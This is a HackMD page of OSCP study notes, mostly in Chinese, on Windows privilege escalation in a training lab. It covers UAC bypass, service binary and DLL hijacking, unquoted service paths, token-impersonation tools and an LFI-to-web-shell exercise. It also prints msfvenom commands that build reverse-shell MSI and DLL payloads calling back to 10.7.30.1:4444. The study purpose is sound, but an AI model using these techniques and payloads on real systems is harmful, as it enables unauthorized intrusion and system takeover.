Josh Ji
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # OSCP Day 5 ###### tags: `OSCP` ## Windows身分驗證架構 ### 主要概念 * security identifier * 每個使用者與群組的唯一標示符 * local -> * Local Security Authority * domain -> * Domain Controller * SRXY * S -> SID * R -> 未修改過 * X > 主要驗證 * Y > 次要驗證 * ![](https://hackmd.io/_uploads/S1ONvDhV3.png) * access token * mandatory integrity contorl * system -> * admin access token + UAC * 系統服務 * high -> * admin access token * 內建管理者 * medium -> * access token * 一般使用者 * low -> * access token * 沙盒模式 * 瀏覽器 * user account control * UACME -> UAC bypass -> 跳過要求密碼 https://github.com/hfiref0x/UACME * 要求高權線帳號驗證 * 管理者登入時會拿到低權限與高權限token,一般情況用低權限,高權限操作會要求輸入密碼 ### 登入流程 1. 登入OS 配發access token 2. access tokens 稱為security context 3. 使用者的任何操作要符合security context ## 列舉Windows ### 列舉檔案 ```bash= # 遞迴尋找檔案 Get-ChildItem -path c:/users/ -include local* -file -recurse -erroraction silentlycontinue ``` ### 列舉網路 ```bash= ipconfig /all ``` ![](https://hackmd.io/_uploads/BJHHEd2N3.png) DNS尾碼空的就是沒有加入AD ```bash= netsh advfirewall firewall show rule name=all ``` ```bash= netstat -ano ``` ``` wmic product get name, version, vendor wmic qfe get Caption ``` ### 安裝時自動提權的登錄檔 如果有這個登錄檔表示執行msi安裝檔時直接使用system權限,不會詢問密碼 ```bash= reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer \v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer \v AlwaysInstallElevated ``` ```bash= # 產生msi格式的 reverse shell msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.7.30.1 LPORT=4444 -f msi -o rvshell.msi ``` ### 列舉process ``` tasklist /V ``` ### 列舉工作排程 ``` powershell schtasks ``` ### 自動化工具 winPEAS linPEAS 自動列舉 更新 網路 檔案 登錄檔 ```bash= # 掃描服務資訊 列印到servicesinfo.txt winpeas.exe servicesinfo > servicesinfo.txt # 印出servicesinfo.txt type servicesinfo.txt ``` ## 利用Windows Service, Service Binary Hijacking ```bash= get-ciminstance icacls "" wmic service ``` PowerUp.ps1半自動提權 ```bash= powershell -ep bypass . ./PowerUp.ps1 Get-ModifiableServiceFile Install-ServiceBinary 'elasticsearch-service-x64' ``` ### insecure service permissions ``` sysinternal-suite/accesschk.exe /accepteula -uwcqv user2 * ``` ### DLL Hijacking 如果程式執行時找不到DLL 攻擊者可以提供惡意DLL 就可以利用程式的權限執行DLL 攻擊步驟 1. 找Serivce 2. 找DLL 3. 找可寫入的目錄 4. 蓋成自己的DLL 5. 重啟服務 execise6: 打開sysinternel-suite/procmon.exe 篩選出 Operation contains CreateFile Result is FILE NOT FOUND Path contains .dll 然後重開Service,這邊是wampapache 然後procmon出現有一個叫做CRYPTSP.dll的找不到 我們就可以用msfvenom生出一個dll的revshell ``` msfvenom -p wimdows/x64/shell_reverse_tcp LHOST=10.7.30.1 LPORT=4444 -f dll -o rev.dll ``` 然後把牠取名叫做CRYPTSP.dll 放到wampapache找dll的位置 重開service就會觸發revshell(這邊是關掉Service的時候才會觸發所以重開後還要關掉) ### Unquoted Service Path 服務的啟動路徑如果有資料夾有空格,可以利用目錄解析的漏洞放入一個跟資料夾同名的revshell execise7: 有個服務(這邊是glassfish)的啟動目錄其中一段叫做 ```C:/glassfish/glassfish 4/``` 我們就生出一個revshell把牠取名叫做glassfish.exe ```C:/glassfish/glassfish.exe``` ## 濫用其他元件 ### Scheduled Tasks 檢查低權限的使用者有沒有使用高權限帳號執行程式的Task 然後看可不可以把程式換成revshell 然後按照條件觸發task就可以啟動Revshell了 ### Windows Kernel Exploit #### CVE-2021-34527 ### Abusing Access Token Privilege * SeImplersonatePrivilege -> 可以模擬任何token的權限 * 工具> potato系列 * PrintSpoofer  >=win10 * badpotato win7~10 win-server2008~2019 execise10: 發現有IIS網頁服務 發現有Local File Include的漏洞 可以把網頁原始碼Print出來 用dirb或dirbuster掃目錄 發現有admin目錄下有upload.aspx manage.aspx但是要key 用LFI的漏洞把key print出來 authkey=KEY 所以現在可以上傳跟下載檔案了 先把Web revshell上傳上去 rev.aspx 再把提權程式上傳上去 再把revshell.exe上傳上去 用webrevshell執行提權程式與revshell.exe ## 濫用token權限

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully